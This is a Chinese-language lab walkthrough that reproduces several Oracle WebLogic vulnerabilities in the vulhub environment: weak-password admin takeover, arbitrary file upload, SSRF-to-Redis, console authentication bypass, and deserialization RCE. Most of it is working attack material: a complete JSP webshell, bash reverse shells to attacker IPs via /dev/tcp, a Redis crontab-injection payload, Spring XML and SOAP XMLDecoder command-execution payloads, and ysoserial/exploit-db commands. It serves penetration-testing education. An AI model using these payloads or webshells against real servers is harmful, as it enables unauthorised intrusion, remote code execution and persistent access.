vulhub靶场-weblogic漏洞复现

weak-password

CVE-2018-2894

SSRF（CVE-2014-4210）

CVE-2020-14882&14883

CVE-2018-2628

CVE-2017-10271

weak-password

开启容器后先访问weblogic的后台

192.168.217.134:7001/console

看到有个登录框，尝试了几个weblogic的弱口令，得知本环境的弱口令为

用户名：weblogic
密码：Oracle@123

现假设我们不知道弱口令，对本环境进行渗透，本环境存在任意文件读取漏洞，具体路径为

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

接下来就是对这个漏洞进行利用。

weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为`SerializedSystemIni.dat`和`config.xml`，在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`（基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`）。

`SerializedSystemIni.dat`是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键copy to file就可以保存成一个文件：

config.xml`是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的`<node-manager-password-encrypted>`的值，即为加密后的管理员密码，同样用bp抓取数据包来读取想要的内容：

密文和密钥得到之后就可以利用工具进行解密了，利用github里的weblogic解密工具

这样就成功得到后台登录密码了，登录之后，点击左侧的部署，之后就可以看到有能安装的，再点击安装

安装完成之后可以看到可以进行上传文件

上传到是war文件，我们可以先将一句话木马（所用的jsp一句话木马放在下方）写在shell.jsp中，然后将其压缩成zip文件，再改其后缀为.war，然后进行上传

上传完成之后，用蚁剑进行连接，

连接成功之后，打开蚁剑终端

成功拿到shell。

jsp一句话木马：

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

CVE-2018-2894

漏洞详情：Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分为/ws_utc/begin.do、/ws_utc/config.do。

影响范围：Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3

利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。

环境启动后，访问http://192.168.217.134:7001/console，即可看到后台登录页面。

执行docker-compose logs | grep password可查看管理员密码

登录后台页面，点击`base_domain`的配置，在“高级”中开启“启用 Web 服务测试页”选项

之后访问http://192.168.217.134:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的。

接着点击安全，看到可以添加文件，直接上传一个jsp木马文件。

同时利用bp抓取数据包，在数据包中发现存在时间戳。保存好该时间戳，后面的路径中会利用到

接着尝试使用蚁剑进行连接。所上传的文件路径为http://192.168.217.134:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

连接成功，打开蚁剑虚拟终端，成功拿到shell

SSRF（CVE-2014-4210）

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。访问`http://192.168.217.134:7001/uddiexplorer/`，无需登录即可查看uddiexplorer应用，然后点击Search Public Registries，在这个地方存在ssrf漏洞

接下来我们进行测试一下

由此可知确实是存在ssrf漏洞的，接下来进行验证该ssrf漏洞

这说明ip不存在。

如果访问的非http协议，则会返回`did not have a valid SOAP content-type`

这表明该端口未开放。通过错误的不同，可探测出内网IP的状态。

## 注入HTTP头，利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入`%0a%0d`来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。首先，通过ssrf探测内网中的redis服务器，因为该漏洞是用docker环境搭建的，所以redis服务器的内网即为docker的网段

发现ip172.20.0.2，利用ssrf探测内网redis是否开放

确定是开放的

接下来发送三条redis命令，将弹shell脚本写入`/etc/crontab`：

set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.217.134/4444 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save

接下来就是将payload进行url编码了。

为什么要进行编码呢？

因为redis命令是通过换行符来分隔每条命令的（这个可以自行搜索下redis 序列化协议进行了解）

进行编码时注意换行符“\r\n”也就是“%0D%0A”

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.217.134%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后就是将编码后的payload进行发送来进行反弹shell的

打开终端进行端口监听nc -lvp 4444，监听之后再发送该请求

成功反弹shell。

CVE-2020-14882&14883

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

环境启动之后访问192.168.217.134:7001/console即可看到后台登录页面

首先测试权限绕过漏洞（CVE-2020-14882），访问URL：192.168.217.134:7001/console/css/%252e%252e%252fconsole.portal，“%252E%252E%252F”为二次url编码的“../”，通过这个就可以实现穿越路径未授权访问相关管理后台。

访问后台后，但是我们现在是低权限的用户，无法安装应用，所以也无法直接执行任意代码

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种，一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

利用com.tangosol.coherence.mvel2.sh.ShellSession的方法：访问http://192.168.217.134:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") 以此来执行命令。但却回显报错信息

登录到容器查看是否执行成功

发现touch /tmp/success1是成功被执行了的。但这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在。

而方式com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，这里是执行一个反弹shell的操作。构造xml文件

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/192.168.217.139/4444 0>&1]]></value></list></constructor-arg></bean></beans>

先在保存着xml文件的服务器上开启http服务

确保weblogic可以访问到该服务器

然后用nc开启端口监听

然后访问url

http://192.168.217.134:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.217.139/poc.xml")

成功拿到shell。

CVE-2018-2628

#Weblogic WLS Core Components 反序列化命令执行漏洞（CVE-2018-2628）#

在WebLogic里，攻击者利用其他rmi绕过weblogic黑名单限制，然后在将加载的内容利用readObject解析，从而造成反序列化远程代码执行该漏洞，该漏洞主要由于T3服务触发，所有开放weblogic控制台7001端口，默认会开启T3服务，攻击者发送构造好的T3协议数据，就可以获取目标服务器的权限。

#漏洞版本：

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

#基本原理：

序列化:简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)·

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)·

RMI:远程方法调用(Remote Method lnvocation)。简单来说，除了该对象本身所在的虚拟机，其他虚拟机也可以调用该对象的方法。

JRMP:java远程消息交换协议JRMP (Java Remote Messaging Protocol)

打个比喻就是相当于你在网上买个玩具房子，他不可能直接快递给你邮个房子，先把房子拆开邮走(序列化)，然后收到时在拼装成一个房子(反序列化)。在JAVA中，对象的序列化和反序列化被广泛的应用到RMI(远程方法调用）及网络传输中。

#漏洞利用

首先需要下载ysoserial.jar工具来启动一个JRMP Sever

java -cp ysoserial-v0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/shell"

CommonsCollections1后接的参数就是我们想要执行的命令

然后利用该漏洞的exp进行攻击，该exp可在exploit-db.com进行下载：https://www.exploit-db.com/exploits/44553，这里注意一下该漏洞利用代码是用python2来执行的

使用该脚本向目标weblogic发送数据包

python2 44553.py 192.168.217.134 7001 ysoserial-v0.0.5-all.jar 192.168.217.139 1099 JRMPClient

接着进入docker容器，看看命令是否执行成功

可以看到shell成功写入到/tmp目录下。接下来进行反弹shell的操作，先重新启动一个JRMP Sever

java -cp ysoserial-v0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'

中间的base64编码是反弹shell的命令bash -i >& /dev/tcp/192.168.217.139/4444 0>&1

然后开启端口监听

接着还是利用该漏洞的exp发送数据包

python2 44553.py 192.168.217.134 7001 ysoserial-v0.0.5-all.jar 192.168.217.139 1099 JRMPClient

执行完成之后，看到端口监听的页面

成功反弹shell

CVE-2017-10271

# Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，通过构造soap(xml)格式的请求，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

漏洞触发位置：wls-wsat.war

漏洞触发url：/wls-wsat/CoordinatorPortType（POST）

SOAP：SOAP是web服务安全性内置协议，采用保密和身份验证规则集的方式，支持OASIS个W3C制定的标准，结合使用xml加密、xml签名和SAML令牌等方式来验证身份和授权。SOAP更安全，适合处理敏感数据。

#漏洞复现

环境启动之后访问192.168.217.134:7001，页面返回404

此时说明weblogic已成功启动。

接着我们访问漏洞触发的url

bp进行抓包

发现是个get请求包，改为POST请求，然后加入soap请求内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.217.139/21 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

发送请求之前在攻击机开启端口监听，然后再执行请求

这里需要注意一下，各别机子不同，发送请求时要是报415错误，像这样

要是报415错误就手动添加Content-Type:text/xml。就可以解决报415错误的问题了

此时也是看到监听窗口成功反弹shell。

还有另外一种利用方法就是可以通过上传木马的形式通过webshell连接工具进行连接。

尝试向对方上传文件。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

发送请求之后验证一下是否上传成功。访问/bea_wls_internal/test.jsp。

可以看到成功上传内容。那么我们是不是就可以上传木马然后进行连接呢？那肯定是可以的。接下来进行实操。向写入内容的地方写入jsp的马

浏览器进行访问看看有没有成功

没有出现报错信息，说明是成功的，用蚁剑进行连接。

成功连接上对方机器。